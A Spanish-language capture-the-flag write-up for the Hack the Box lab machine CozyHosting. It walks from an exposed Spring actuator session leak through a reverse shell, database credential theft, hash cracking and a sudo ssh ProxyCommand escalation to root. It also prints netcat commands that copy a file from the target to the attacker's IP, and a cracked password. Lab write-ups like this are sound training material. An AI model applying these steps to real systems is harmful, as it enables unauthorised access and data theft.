🟢CozyHosting
En esta ocasión vamos a hacer el writeup de la máquina CozyHosting de Hack the Box, una máquina Linux de dificultad easy.
Primer acceso
Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:
Ahora ya se muestra la web en el navegador:
A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.
Escaneo con Nmap
NMAP Puertos abiertos:
Fuzzing
Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch
Nos devuelve:
Hay un directorio sospechoso:
/actuator
Al acceder al directorio nos encontramos varios apartados:
Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:
Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.
En este panel no hay muchas cosas interesantes o que podamos hacer.
Exploit
Buscando en internet encontramos un exploit para esta máquina:
Creamos un archivo cozy.py con el siguiente script:
Abrimos un listener de netcat y ejecutamos cozy.py, dándole como argumentos la IP y el puerto de netcat:
Esto nos devuelve una shell a netcat.
Al acceder al directorio home nos encontramos el nombre de usuario 'josh', pero no nos deja acceder.
En el directorio principal hay un archivo .jar que vamos a descargar por netcat:
En el server:
nc 10.10.14.202 1234 < cloudhosting-0.0.1.jar
En nuestro kali:
nc -l -p 1234 > cloudhosting-0.0.1.jar
Descomprimimos el zip o lo abrimos con JDec
En el archivo application.properties
encontramos el usuario y contraseña de la base de datos:
Nos conectamos a la base de datos desde la shell del server:
Ya estamos dentro de la base de datos. Vamos a enumerar las bases de datos disponibles y su información en busca de usuarios y contraseñas:
Encontramos usuarios y contraseñas en formato hash:
Cracking
Vamos a crackear los hashes para obtener las contraseñas en plano:
La contraseña es: manchesterunited
Nos conectamos por SSH con el usuario josh (que encontramos antes) y esta contraseña:
Obtenemos el user.txt:
Escalada de privilegios
Vamos a ver los permisos que tenemos en la máquina:
Consultamos GTFOBins para ver los binarios disponibles:
Encontramos una shell interactiva a través de ProxyCommand.
Nos movemos al directorio /usr/bin:
Ejecutamos lo siguiente:
Seguido de:
Ya somos root 😎
Obtenemos el root.txt:
Última actualización